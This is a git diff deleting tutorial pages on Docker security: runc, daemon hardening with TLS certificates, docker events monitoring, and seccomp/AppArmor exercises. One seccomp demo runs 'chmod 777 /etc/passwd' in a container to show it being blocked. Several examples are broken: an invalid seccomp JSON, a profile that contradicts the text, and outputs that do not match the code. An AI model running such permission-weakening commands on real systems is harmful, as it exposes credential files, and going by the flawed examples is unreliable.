1.The user creates a Docker container and specifies the desired runtime environment (e.g. Linux, Windows, etc.) -2.The container is built and stored in a Docker image, which includes all the necessary files and dependencies for the container to run. -3.When the user runs the container, the shim is activated and begins executing the container’s code. -4.The shim manages the container’s execution, including starting and stopping the container, handling errors, and allocating resources such as memory and CPU. -5. Once the container finishes executing, the shim shuts it down and releases any resources that were being used.

-

The Docker runtime and shim work together to ensure that containers are able to run smoothly and efficiently within the specified environment.

-

runc

-

runc is the default runtime for Docker containers. It is a command line tool for running and managing containers according to the Open Container Initiative (OCI) specification.

-

Here is an example of using runc to run a Docker container:

-
    -
  1. First, pull a Docker image from the registry using the ‘docker pull’ command:
  2. -
-
docker pull alpine
-
    -
  1. Next, create a configuration file for the container using the ‘runc spec’ command:
  2. -
-
runc spec
-
    -
  1. -

    The configuration file can then be modified to specify the container’s desired settings, such as the root filesystem, network settings, and runtime options.

    -
  2. -
  3. -

    To create and start the container, use the ‘runc run’ command, followed by the name of the container and the configuration file:

    -
  4. -
-
runc run my-container config.json
-

This will start the container based on the specified configuration and run the default command specified in the Docker image.

-

To stop the container, use the ‘runc kill’ command:

-
runc kill my-container
-

And to delete the container, use the ‘runc delete’ command:

-

-runc delete my-container
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/docker-daemon-security-configurations/index.html b/public/containersecurity/docker-daemon-security-configurations/index.html deleted file mode 100644 index e927e25..0000000 --- a/public/containersecurity/docker-daemon-security-configurations/index.html +++ /dev/null @@ -1,917 +0,0 @@ - - - - - - - - -Docker Daemon security configurations · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker Daemon security configurations

-
-
- - -

docker daemon security configuration

-

Install docker CE 19.03

-

-# yum install -y yum-utils device-mapper-persistent-data lvm2
-# yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
-
-# yum install -y docker-ce
-
-[root@localhost docker]# docker --version
-Docker version 19.03.8, build afacb8b
-

Daemon security configuration

-

There is no configuration file by default, which needs to be created separately/etc/docker/daemon.json, the following configurations are all local test examples configured on this file.

-
{
- "icc": false,
- "log-level": "info",
- "log-driver": "json-file",
- "log-opts": {
- "max-size": "10m",
- "max-file":"5",
- "labels": "somelabel",
- "env": "os,customer"
- },
- "iptables": true,
- "userns-remap": "default",
- "userland-proxy": false,
- "experimental": false,
- "selinux-enabled": true,
- "live-restore": true,
- "no-new-privileges": true,
- "cgroup-parent": "/foobar",
- "seccomp-profile": "/etc/docker/seccomp/default-no-chmod.json",
- "tls": true,
- "tlsverify": true,
- "tlscacert": "/etc/docker/CA/ca.pem",
- "tlscert": "/etc/docker/CA/server-cert.pem",
- "tlskey": "/etc/docker/CA/server-key.pem"
-}
-

configure access to docker daemon through HTTPS and certificate authentication

-

Server certificate

-

Create a host and define a domain (IP can also be used). The corresponding certificate will be generated according to the domain. It is generally used to register the CN in the certificate:

-

Create certificate Directory:

-
$ mkdir -p /etc/docker/dockerd/CA && cd /etc/docker/dockerd/CA
-

Generate the key certificate and fill in the key certificate password twice:

-
$ openssl genrsa -aes256 -out ca-key.pem 4096
-

To generate a CA certificate, you need to enter the basic information of the registration certificate:

-
$ openssl req -new -x509 -days 365 -key ca-key.pem -sha256 -out ca.pem
-

Create server certificate:

-
$ openssl genrsa -out server-key.pem 4096
-
-$ openssl req -subj "/CN=localhsot" -sha256 -new -key server-key.pem -out server.csr
-

Set the IP address specified by the certificate:

-
$ echo subjectAltName = DNS:localhost,IP:127.0.0.1 >> extfile.cnf
-

Set the extended usage property of the docker daemon key to server authentication only:

-
$ echo extendedKeyUsage = serverAuth >> extfile.cnf
-

Generate server cert certificate:

-
$ openssl x509 -req -days 3650 -sha256 -in server.csr -CA ca.pem -CAkey ca-key.pem -CAcreateserial -out server-cert.pem -extfile extfile.cnf
-

Client certificate

-

Create client certificate: (or current directory)

-
$ openssl genrsa -out key.pem 4096
-$ openssl req -subj '/CN=localhost' -new -key key.pem -out client.csr
-

To make the key suitable for client authentication, create an extended profile:

-
$ echo extendedKeyUsage = clientAuth >> extfile.cnf
-

Generate client cert certificate:

-
$ openssl x509 -req -days 3650 -sha256 -in client.csr -CA ca.pem -CAkey ca-key.pem -CAcreateserial -out cert.pem -extfile extfile.cnf
-

use

-

Give corresponding permissions to the certificate:

-
$ chmod -v 0400 ca-key.pem key.pem server-key.pem
-$ chmod -v 0444 ca.pem server-cert.pem cert.pem
-
-[root@localhost CA]# ls
-ca-key.pem ca.pem ca.srl cert.pem client.csr extfile.cnf key.pem server-cert.pem server.csr server-key.pem
-

Server configuration /etc/docker/daemon.json

-

-"tls": true,
-"tlsverify": true,
-"tlscacert": "/etc/docker/CA/ca.pem",
-"tlscert": "/etc/docker/CA/server-cert.pem",
-"tlskey": "/etc/docker/CA/server-key.pem"
-

Client configuration

-

Set the client certificate on the server and place it in the corresponding location:

-
$ cp -v {ca,cert,key}.pem ~/.docker
-$ export DOCKER_HOST=tcp://$HOST:2376 DOCKER_TLS_VERIFY=1
-

Simulate the test as follows:

-
$ curl https://$HOST:2376/images/json 
- --cert ~/.docker/cert.pem 
- --key ~/.docker/key.pem 
- --cacert ~/.docker/ca.pem
- 
-[{"Containers":-1,"Created":1540777343,"Id":"sha256:55e7b305dc477345434ce3bd3941940481f982eea31c8f28c0670d59c63d544b","Labels":nu
-

using namespace isolation technology

-

Namespace is an isolation technology. Docker uses the isolation technology to open a specific namespace and create some special processes, but the use of namespace is conditional. The system will create a dockremap and map it to the container through the ID values corresponding to / etc / subuid and / etc / subuid; The actual situation still uses the ordinary permission of dockremap to achieve the effect of automatic isolation.

-

Modify first/etc/sysctl.conf

-
# echo “user.max_user_namespaces=15076” >> /etc/sysctl.conf
-

stay /etc/docker/daemon.json Add the configuration item “userns remap”: “default”

-

Be careful when modifying this configuration. If you have deployed a set of docker environment, after enabling this option, you will switch to the isolated environment, and the previous docker container will not be used!

-

-[root@localhost docker]# cat /etc/subuid
-dockremap:100000:65536
-

setting the partition of docker

-

Create a separate partition for the container. The default partition isvarlibdocker, including local images, containers, networks and other related things.

-

-root@localhost docker]# ls /var/lib/docker
-

100000.100000 builder buildkit containers image network overlay2 plugins runtimes swarm tmp trust volumes

-

You can use “data root”: “to configure the default partition location.

-

limit traffic between default bridge containers

-

When the docker service is started, a forwarding policy will be added to the forward chain of iptables by default. Whether the policy is accept or drop depends on whether — ICC = true (default) or — ICC = false is configured. If — iptables = false is manually specified, iptables rules will not be added.

-

By default, all network communication is allowed between containers on the same host on the default bridge. If not required, the communication between all containers is limited. Link specific containers that need to communicate together, or create a custom network and join only containers that need to communicate with the custom network.

-

Configure to limit the traffic “ICC” between containers on the default bridge: false

-

configuration log

-

Configure the centralized remote log, set the log process — log level level to info, log record format JSON, local log record

-

-"log-level": "info",
-"log-driver": "json-file",
-"log-opts": {
- "max-size": "10m",
- "max-file":"5",
- "labels": "somelabel",
- "env": "os,customer"
-},
-

Alt text

-

The docker logging driver receives the container log and forwards it to a remote destination or file. The default logging driver isjson-file。 It stores container logs on local disk in JSON format. Docker has a plug-in architecture for logging, so there are plug-ins for open source tools and commercial tools:

-

Journaled – stores the container log in the system log

-

Syslog driver – supports UDP, TCP, TLS

-

Fluent D – supports connecting TCP or UNIX sockets to fluent D

-

Splunk – http / HTTPS forwarding to Splunk server

-

Gel – UDP logs forwarded to graylog2

-

Example fluent

-
{
- "log-driver": "fluentd",
- "log-opts": {
- "fluentd-address": "fluentdhost:24224"
- }
- }
-

Using syslog

-
{
- "log-driver": "syslog",
- "log-opts": {
- "syslog-address": "udp://1.2.3.4:1111"
- }
-}
-

setting ulimit

-
{
- "default-ulimits": {
- "nofile": {
-  "Name": "nofile",
-  "Hard": 64000,
-  "Soft": 64000
- }
- }
-}
-

setting CGroup

-

The cggroup parent option allows you to set the default cggroup parent for the container. If this option is not set, the default value for FS CGroup driver is / docker; For SYSTEMd CGroup driver, the default is system slice 。

-

If CGroup has a forward slash (/), CGroup is created under the root CGroup, otherwise CGroup is created under the daemon CGroup.

-

Assuming that the daemon runs in CGroup daemon CGroup, then — CGroup parent = / foobar creates a CGroup in / sys / FS / CGroup / memory / foobar, while — CGroup parent = foobar creates a CGroup/sys/fs/cgroup/memory/daemoncgroup/foobar Create CGroup in.

-

SYSTEMd CGroup driver has different rules for – CGroup parent. System D represents the hierarchy by slice, and the name of the slice encodes the position in the tree. Therefore, the — CGroup parent of SYSTEMd CGroup should be the slice name. Names can contain a series of names separated by dashes that describe the path from the root slice to the slice. For example, — CGroup parent = user-a-b.slice indicates that the memory of the container is CGroup /sys/fs/cgroup/memory/user.slice/user-a.slice/user-a-b.slice/docker-.scope Created in.

-

You can also use container run to set it. Using the — CGroup parent option on docker create and docker run will take precedence over the — CGroup parent option on the daemon.

-

configuring seccomp

-

For the test configuration file used, it is forbidden to use the Chmod command in docker

-
https://github.com/docker/labs/blob/master/security/seccomp/seccomp-profiles/default-no-chmod.json
-[root@localhost docker]# docker run --rm -it alpine sh
-/ # ls bin etc lib mnt proc run srv tmp var
-dev home media opt root sbin sys usr / # touch foo.sh
-/ # chmod +x foo.sh
-chmod: foo.sh: Operation not permitted
-/ # exit
-

It can actually complete some system related calls of prohibition, permission and alarm. Refer to:https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl

-

disable the experimental function of docker

-

Set “experimental”: false

-

2.11 restrict containers from raising rights through suid or sgid

-

The no new privileges security option prevents application processes within the container from gaining new privileges during execution.

-

For example: there is a program with setuid / setgid bit set in the image, such as sudo. The process in the container also has (file) permission to execute the program. Any operation attempting to obtain privileges through facilities such as setuid / setgid will be rejected.

-

Daemon configuration example description (Linux)

-
{
-  "authorization-plugins": [],//access authorization plugin
-  "data-root": "", //the root directory of docker data persistent storage, the default is /var/lib/docker
-  "dns": [], //DNS server
-  "dns-opts": [],//DNS configuration options, such as ports, etc.
-  "dns-search": [],//DNS search domain name
-  "exec-opts": [], //execution options
-  "exec-root": "",//The root directory of the file in the execution state
-  "experimental": false,//whether to enable experimental features
-  "features": {},//Enable or disable specific features. Such as: {"buildkit": true} makes buildkit the default docker image builder.
-  "storage-driver": "",//Storage driver type
-  "storage-opts": [],//storage options
-  "labels": [],//key-value pair label docker metadata
-  "live-restore": true, //whether to keep the container alive when dockerd hangs up (to avoid the container exit caused by the docker service exception)
-  "log-driver": "json-file",//The driver of the container log
-  "log-opts": {
-  "max-size": "10m",
-  "max-file": "5",
-  "labels": "somelabel",
-  "env": "os,customer"
-  },//Options for container logs
-  "mtu": 0,//Set container network MTU (Maximum Transmission Unit)
-  "pidfile": "",//The location of the daemon PID file
-  "cluster-store": "",//URL of the cluster storage system
-  "cluster-store-opts": {},//Configure cluster storage
-  "cluster-advertise": "",//External address name
-  "max-concurrent-downloads": 3,//Set the maximum concurrency of each pull process
-  "max-concurrent-uploads": 5,//Set the maximum concurrency of each push process
-  "default-shm-size": "64M",//Set the default shared memory size
-  "shutdown-timeout": 15,//Set the shutdown timeout period
-  "debug": true,//Enable debug mode
-  "hosts": [],//The listening address of the dockerd daemon process
-  "log-level": "",//log level
-  "tls": true, //Enable the Transport Layer Security Protocol TLS
-  "tlsverify": true, //Enable the transport layer security protocol and verify the remote address
-  "tlscacert": "",//CA signature file path
-  "tlscert": "",//TLS certificate file path
-  "tlskey": "",//TLS key file path
-  "swarm-default-advertise-addr": "", //swarm external address
-  "api-cors-header": "",//Set CORS (Cross-origin resource sharing) header
-  "selinux-enabled": false,//Enable selinux (mandatory access control for users, processes, applications, files)
-  "userns-remap": "",//Set user/group for user namespace
-  "group": "", //Docker is in the group
-  "cgroup-parent": "",//Set the parent class of cgroup of all containers
-  "default-ulimits": {
-  "nofile": {
-   "Name": "nofile",
-   "Hard": 64000,
-   "Soft": 64000
-  }
-  },//Set the ulimit of all containers
-  "init": false,//The container performs initialization to forward signals or control (reap) processes
-  "init-path": "/usr/libexec/docker-init", //docker-init file path
-  "ipv6": false,//support IPV6 network
-  "iptables": false,//Enable firewall rules
-  "ip-forward": false, //Open net.ipv4.ip_forward
-  "ip-masq": false,//Enable ip masking (the technology of rewriting the source IP address or destination IP address when the IP packet passes through a router or firewall)
-  "userland-proxy": false, //userland proxy
-  "userland-proxy-path": "/usr/libexec/docker-proxy", //userland proxy path
-  "ip": "0.0.0.0",//Default IP
-  "bridge": "",//Attach the container to the bridge identifier on the bridge network
-  "bip": "",//Specify bridge IP
-  "fixed-cidr": "",//(ipv4) subnetting, that is, limiting the range of ip address allocation to control the network segment to which the container belongs to achieve network access between containers (the same host or between different hosts)
-  "fixed-cidr-v6": "", //(ipv6) subnetting
-  "default-gateway": "",//default gateway
-  "default-gateway-v6": "",//default ipv6 gateway
-  "icc": false,//Inter-container communication
-  "raw-logs": false, //raw logs (no color, full timestamp)
-  "allow-nondistributable-artifacts": [],//Registry warehouse submitted by products that are not distributed externally
-  "registry-mirrors": [],//registry warehouse mirror acceleration address
-  "seccomp-profile": "", //seccomp configuration file
-  "insecure-registries": [],//Configure non-https registry address
-  "no-new-privileges": false, //Disable new privileges
-  "default-runtime": "runc", //OCI alliance (The Open Container Initiative) default runtime environment
-  "oom-score-adjust": -500,//Priority of memory overflow being killed (-1000~1000)
-  "node-generic-resources": ["NVIDIA-GPU=UUID1", "NVIDIA-GPU=UUID2"],//Resource nodes announced to the public
-  "runtimes": {
-  "cc-runtime": {
-   "path": "/usr/bin/cc-runtime"
-  },
-  "custom": {
-   "path": "/usr/local/bin/my-runc-replacement",
-   "runtimeArgs": [
-   "--debug"
-   ]
-  }
-  },//Runtime
-  "default-address-pools": [
-  {"base":"172.80.0.0/16","size":24}, //Default dhcp assigned address
-  {"base":"172.90.0.0/16","size":24}
-  ]
-}
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/docker-events/index.html b/public/containersecurity/docker-events/index.html deleted file mode 100644 index 5ed9546..0000000 --- a/public/containersecurity/docker-events/index.html +++ /dev/null @@ -1,830 +0,0 @@ - - - - - - - - -Docker events · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker events

-
-
- - -

Docker events

-

Docker events describe the activities taken by your Docker daemon. Most interactions with objects such as containers, images, volumes, and networks record an event, creating a log that you can use to inspect past changes.

-

There are many different kinds of event that identify specific changes in your environment:

-
    -
  • Creating and removing containers
  • -
  • Container health check statuses
  • -
  • Commands executed inside containers with docker exec
  • -
  • Pulling and pushing images
  • -
  • Creating, destroying, mounting, and unmounting volumes
  • -
  • Enabling and disabling Docker daemon plugins
  • -
-
$ docker run --rm hello-world
-

Several events should now appear in the terminal window that’s running the docker events command:

-
$ docker events
-2022-05-31T15:20:00.267970018+01:00 image pull hello-world:latest (name=hello-world)
-2022-05-31T15:20:00.347054862+01:00 container create 4a6c8d34a183363db5dbfdcc3cab4c82c4a341d719df56ec2e7f879ee8f02378 (image=hello-world, name=nifty_morse)
-2022-05-31T15:20:00.347805277+01:00 container attach 4a6c8d34a183363db5dbfdcc3cab4c82c4a341d719df56ec2e7f879ee8f02378 (image=hello-world, name=nifty_morse)
-2022-05-31T15:20:00.621070053+01:00 container start 4a6c8d34a183363db5dbfdcc3cab4c82c4a341d719df56ec2e7f879ee8f02378 (image=hello-world, name=nifty_morse)
-

Each event displays on its own line. The event timestamp is displayed first, followed by the type of object affected (such as image or container) and then the action that was taken (like create, attach, and start). The remainder of the message contains useful metadata about the object. The example above reveals that the hello-world:latest image was pulled and a container created from it.

-

Formatting Output

-

The raw event list is often unwieldy. You can reformat the output using the –format flag which accepts a Go template string:

-
$ docker events --format '{{ .Time }} {{ .Action }} {{ .Type}} {{ .ID }}'
-

Running this example will produce output that looks like this:

-
1654006800 pull image hello-world:latest
-1654006800 create container 4a6c8d34a183363db5dbfdcc3cab4c82c4a341d719df56ec2e7f879ee8f02378
-1654006800 attach container 4a6c8d34a183363db5dbfdcc3cab4c82c4a341d719df56ec2e7f879ee8f02378
-1654006800 start container 4a6c8d34a183363db5dbfdcc3cab4c82c4a341d719df56ec2e7f879ee8f02378
-

You can get events represented as JSON objects by using {{ json . }} as your template string:

-
$ docker events --format '{{ json . }}' | jq
-{
-  "status": "create",
-  "id": "4a6c8d34a183363db5dbfdcc3cab4c82c4a341d719df56ec2e7f879ee8f02378",
-  "from": "hello-world",
-  "Type": "container",
-  "Action": "create",
-  "Actor": {
-    "ID": "4a6c8d34a183363db5dbfdcc3cab4c82c4a341d719df56ec2e7f879ee8f02378",
-    "Attributes": {
-      "image": "hello-world",
-      "name": "nifty_morse"
-    }
-  },
-  "scope": "local",
-  "time": 1654006800,
-  "timeNano": 1654006800347054800
-}
-

Filtering Events

-

-docker events --filter type=container //Get all events that relate to containers.
-docker events --filter event=create // Get container creation events.
-docker events --filter container=demo-container –// Get all the events saved for the container called demo-container (you can reference the container’s ID or name).
-

Besides container, you can filter by all supported object type names such as image, network, and volume.

-

Multiple filters are supported when you repeat the –filter flag. Distinct filters are interpreted as logical AND conditions; multiple uses of the same filter become OR clauses. Here’s an example which surfaces the create event for both the app-container and api-container containers:

-
$ docker events \
-    --filter container=app-container
-    --filter container=api-container
-    --filter event=create
-

Accessing Historical Events

-

docker events defaults to only showing events stored since the command’s been running. You can include historical events by adding the –since flag. This accepts a human-readable time expression or an absolute timestamp:

-

-$ docker events --since 1h
-$ docker events --since '2022-06-01T16:00:00'
-

Events recorded after the given time will immediately be shown in your terminal. New events will continue to show up in real-time as they’re recorded.

-

You can exclude events after a particular time with the –until flag. It works similarly to –since. Using –until will disable real-time streaming of new events because they’d fall outside the requested timeframe.

-

Streaming Docker Events From the Daemon REST API

-

Another way to access stored events is through the Docker daemon REST API. You can use the /events endpoint to stream events in real-time after you’ve enabled the API on your Docker host. Events will be returned in JSON format:

-
$ curl http://127.0.0.1:2375/v1.41/events
-{
-  "Type": "container",
-  "Action": "create",
-  "Actor": {
-    "ID": "4a6c8d34a183363db5dbfdcc3cab4c82c4a341d719df56ec2e7f879ee8f02378",
-    "Attributes": {
-      "image": "hello-world",
-      "name": "nifty_morse"
-    }
-  },
-  "scope": "local",
-  "time": 1654006800,
-  "timeNano": 1654006800347054800
-}
-

The API endpoint supports filter, since, and until parameters that have the same behaviors as their CLI counterparts. Here’s how to retrieve all container creation events recorded in the past hour:

-

-$ curl http://127.0.0.1:2375/v1.41/events?since=1h&filters={'type':'container','action':'create'}
-

Sending Events to an External Service

-

Docker lacks a built-in way to send events to an external service. This could be useful if you want all your container creations to be logged in an existing monitoring or auditing platform.

-

You can set up your own solution by creating a system service that continually runs docker events. It should send each new line of output to your external system.

-

First write a Bash script that implements the functionality you need:

-
#!/bin/bash
-docker events --format '{{ .Time }} {{ .Action }} {{ .Type }} {{ .ID }}' | while read event
-do
-    curl \
-        -X POST \
-        -H "Content-Type: application/json" \
-        -d '{"event": "$event"}' \
-        https://example.com/events
-done
-

Now create a new systemd service unit at /etc/systemd/system/docker-events.service:

-
[Unit]
-Description=Custom Docker Event Monitoring Service
-
-[Service]
-Type=forking
-ExecStart=/usr/local/bin/docker-events.sh
-
-[Install]
-WantedBy=multi-user.target
-

Finally reload systemd to load your service, then start and enable the unit:

-
$ sudo systemctl daemon-reload
-$ sudo systemctl start docker-events
-$ sudo systemctl enable docker-events
-

Docker events commands example

-

Listening for Docker events

-
$ docker events
-

Listening for events since a given date

-
$ docker events --since '2015-01-28'
-$ docker events --since '3m'
-

Listening for Docker events based on filter

-
$ docker events --filter 'type=container' --format 'Type={{.Type}}  Status={{.Status}}  ID={{.ID}}'
-$ docker events --filter 'event=stop'
-$ docker events --filter 'image=ubuntu-1:14.04'
-$ docker events --filter 'container=7805c1d35632'
-$ docker events --filter 'container=7805c1d35632' --filter 'container=4386fb97867d'
-$ docker events --filter 'container=7805c1d35632' --filter 'event=stop'
-$ docker events --filter 'type=volume'
-$ docker events --filter 'type=network'
-$ docker events --filter 'type=plugin' (experimental)
-

Listening for Docker events based on format

-
$ docker events --format '{{json .}}'
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/docker-host-security-configurations/index.html b/public/containersecurity/docker-host-security-configurations/index.html deleted file mode 100644 index 96d389f..0000000 --- a/public/containersecurity/docker-host-security-configurations/index.html +++ /dev/null @@ -1,1075 +0,0 @@ - - - - - - - - -Docker host security configurations · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Docker host security configurations

-
-
- - -

SecComp and AppArmor

-

Docker works with major Linux MAC technologies such as AppArmor and SELinux.

-

Depending on your Linux distribution, Docker applies a default AppArmor profile to all new containers. According to the Docker documentation, this default profile is “moderately protective while providing wide application compatibility”.

-

Docker also lets you start containers without a policy applied, as well as giving you the ability to customize policies to meet specific requirements. This is also very powerful, but can also be prohibitively complex.

-

seccomp

-

Docker uses seccomp, in filter mode, to limit the syscalls a container can make to the host’s kernel.

-

As per the Docker security philosophy, all new containers get a default seccomp profile configured with sensible defaults. This is intended to provide moderate security without impacting application compatibility.

-

-

As always, you can customize seccomp profiles, and you can pass a flag to Docker so that containers can be started without a seccomp profile.

-

As with many of the technologies already mentioned, seccomp is extremely powerful. However, the Linux syscall table is long, and configuring the appropriate seccomp policies can be prohibitively complex.

-

Concluding Linux security technologies

-

Docker supports most of the important Linux security technologies and ships with sensible defaults that add security but aren’t too restrictive. The figure below shows how these technologies form multiple layers of potential security.

-

Some of these technologies can be complicated to customize as they require deep knowledge of how the Linux kernel works. Hopefully, they will get simpler to configure in the future, but for now, the default configurations that ship with Docker might be a good place to start.

-

SecComp Exercise 1

-
grep SECCOMP /boot/config-$(uname -r)
-

get the fitst test for seccomp in strict mode

-
#include <fcntl.h>
-#include <stdio.h>
-#include <unistd.h>
-#include <string.h>
-#include <linux/seccomp.h>
-#include <sys/prctl.h>
-
-
-int main(int argc, char **argv)
-{
-        int output = open("output.txt", O_WRONLY);
-        const char *val = "test";
-
-        printf("Calling prctl() to set seccomp strict mode...\n");
-        prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
-
-        printf("Writing to an already open file...\n");
-        write(output, val, strlen(val)+1);
-
-        printf("Trying to open file for reading...\n");
-        int input = open("output.txt", O_RDONLY);
-
-        printf("You will not see this message--the process will be killed first\n");
-}
-
sudo gcc seccomp_stric.c -o seccomp_strict 
-./seccomp_strict
-

open()system call is not allowed by secccomp strict mode

-

get the file ro test for seccomp in filter mode

-
#include <seccomp.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <errno.h>
-
-void main(void)
-{
-    /* initialize the libseccomp context */
-    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
-
-    /* allow exiting */
-    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
-
-    /* allow getting the current pid */
-    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);
-
-    /* allow changing data segment size, as required by glibc */
-    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
-
-    /* allow writing up to 512 bytes to fd 1 */
-    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2,
-        SCMP_A0(SCMP_CMP_EQ, 1),
-        SCMP_A2(SCMP_CMP_LE, 512));
-
-    /* if writing to any other fd, return -EBADF */
-    seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1,
-        SCMP_A0(SCMP_CMP_NE, 1));
-
-    /* load and enforce the filters */
-    seccomp_load(ctx);
-    seccomp_release(ctx);
-
-    printf("this process is %d\n", getpid());
-}
-

we have first initiazed the seccomp in filter mode . previouly have used prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); to set the seccomp in strict mode .

-
sudo gcc seccomp_bpf.c -o seccomp_bpf
-

install libseccomp-dev

-
sudo apt-get install libseccomp-dev
-
sudo gcc seccomp_bpf.c -o seccomp_bpf -lseccomp
-
./seccomp_bpf
-

output

-
initiating seccomp ...
-add rule to allow exit_group
-add rule to allow getpid
-add rule to allow brk
-add rule to allow write upto 512 bytes to fd 1
-add rule to allow write to any other fd except 1
-loading seccomp filter ...
-

inspecting the output one can look here that all the rules added to seccomp BPF folter with a process -ID since we have added the rule to allow getpid() system call .

-

open seccomp_bpf.c and add the following code to the end of the file

-
#include <unistd.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <sys/prctl.h>
-#include <sys/syscall.h>
-#include <linux/seccomp.h>
-
-/* "mov al,42; ret" aka "return 42" */
-static const unsigned char code[] = "\xb0\x2a\xc3";
-
-void main(void)
-{
-    int fd[2], ret;
-
-    /* spawn child process, connected by a pipe */
-    pipe(fd);
-    if (fork() == 0) {
-        close(fd[0]);
-
-        /* enter mode 1 seccomp and execute untrusted bytecode */
-        prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
-        ret = (*(uint8_t(*)())code)();
-
-        /* send result over pipe, and exit */
-        write(fd[1], &ret, sizeof(ret));
-        syscall(SYS_exit, 0);
-    } else {
-        close(fd[1]);
-
-        /* read the result from the pipe, and print it */
-        read(fd[0], &ret, sizeof(ret));
-        printf("untrusted bytecode returned %d\n", ret);
-    }
-}
-
$ suod gcc seccomp_bpf.c -o seccomp_bpf2 -lseccomp
-$ ./seccomp_bpf2
-initiating seccomp ...
-add rule to allow exit_group
-add rule to allow getpid
-add rule to allow brk
-add rule to allow write upto 512 bytes to fd 1
-add rule to allow write to any other fd except 1
-loading seccomp filter ...
-this process is -9 
-

seccomp in docker

-

step 1. check the SECCOMP is working and configured in docker daemon

-
docker info | grep seccomp
-

step 2. check the seccomp profile of the container

-
docker inspect --format='{{json .HostConfig.SecurityOpt}}' <container_name>
-

seccomp-profiles/deny.json

-
{
-    "defaultAction": "SCMP_ACT_ERRNO",
-    "architectures": [
-        "SCMP_ARCH_X86_64",
-        "SCMP_ARCH_X86",
-        "SCMP_ARCH_X32"
-    ],
-    "syscalls" : [
-
-    ]
-}
-

a docker seccomp profile consists of 3 required entries viz. defaultAction, architectures and syscalls. the possible action of precedence are

-
    -
  • SCMP_ACT_KILL -
      -
    • kill with am status of 0x80 + 31(SIGSYS) = 159
    • -
    -
  • -
  • SCMP_ACT_TRAP -
      -
    • send SIGSYS signal without executing the syscall
    • -
    -
  • -
  • SCMP_ACT_ERRNO -
      -
    • set erno withou executing the syscall
    • -
    -
  • -
  • SCMP_ACT_TRACE -
      -
    • invoke a ptrace to make a decision or set errno to Enosys
    • -
    -
  • -
  • SCMP_ACT_ALLOW -
      -
    • allow the syscall to execute
    • -
    -
  • -
-

-docker run --security-opt seccomp=seccomp-profiles/deny.json -it ubuntu bash
-

using --security-opt seccomp=seccomp-profiles/deny.json we have set the seccomp profile to the container . -notice here that since not even single system call is allwoed , the docker container is not able to run .

-

create sc-custom.json

-
{
-    "defaultAction": "SCMP_ACT_ALLOW",
-    "architectures": [
-        "SCMP_ARCH_X86_64",
-        "SCMP_ARCH_X86",
-        "SCMP_ARCH_X32"
-    ],
-    "syscalls" : [
-        {
-            "names":"mkdir",
-            "action": "SCMP_ACT_ALLOW",
-            "args::[]
-        
-        },
-        {
-            "names": "chmod" ,
-            "action": "SCMP_ACT_ERRNO",
-            "args::[]
-        }
-
-    ]
-}
-

before going to run this commands see what -all system call actally take place while hitting mkdir command inside an alphine -container using strace

-
docker run -rm -it --security-opt seccomp=unconfined alphine sh 
-
apk add strace
-strace mkdir test
-exit
-

we have installed strace utility inside the container and then run the mkdir command .the system call oberved include execve , -arch_prtctl mprotect brk access openat mkdirat fstat close exit_group . test directory is created inside the container .

-

Now run another contaiet with same aphine image with new sc-custom.json seccomp profile .

-
docker run -rm -it --security-opt seccomp=sc-custom.json alphine sh 
-
ls 
-mkdir test
-

mkdir: can’t create directory ’test’: Operation not permitted

-
# chmod /etc/
-

clearly , the seccomp profile attavhed is blocking the mkdir and chmod system call . -lets comfirm it with strace utility agin

-
apk add strace
-strace mkdir test
-

as expected the systm call got rejected with Operation not permitted error . since also we have added a deny condition for chmod system call .

-

Run a docker container with the same seccomp file with chmpd over file 777 permission

-
$ docker run -rm -it --security-opt seccomp=sc-custom.json alphine sh chmod 777 /etc/passwd
-

this os also denyed by the seccomp profile .

-

for more play with default.json seccomp -profile available on moby github repo

-

app armor

-

appArmor is a MAC (Mandatory Access Control) system that is used to restrict the access of a process to the system resources . its implements a task centered policy with task -“profile” being created and loaded from user space

-

tasks on the syste, that do not have profi;e defined for them run an uncofined state which is equivalant to standared Linux DAC (Discretionary Access Control) . permissions .

-

